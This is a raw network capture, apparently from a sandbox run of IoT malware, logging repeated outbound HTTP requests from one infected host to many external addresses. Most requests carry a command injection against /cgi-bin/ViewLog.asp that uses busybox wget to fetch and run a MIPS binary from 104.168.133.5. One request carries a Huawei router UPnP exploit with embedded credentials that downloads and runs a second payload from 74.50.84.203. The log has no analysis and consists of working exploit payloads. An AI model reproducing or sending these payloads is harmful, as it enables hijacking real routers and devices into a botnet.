Nov 23, 2023 05:17:43.334321976 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.710243940 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.558265924 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.190217972 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.198276997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	59504	94.199.196.230	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.491565943 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	46894	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.506664038 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:36Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	38818	31.136.185.236	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.917992115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:46.022267103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.166218996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.198281050 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	44998	94.122.61.68	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.949374914 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	47060	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:43.259813070 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:36Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	43244	94.121.118.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:43.406488895 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	39918	156.241.91.153	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:43.559979916 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	48018	31.136.148.80	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:43.596627951 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.198240042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.350270987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.814270973 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.422238111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.638211966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.326184988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	43340	94.120.217.97	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:43.856633902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	57704	94.121.154.1	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.005903959 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	47074	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.063822985 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	50410	31.136.233.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:44.312247992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
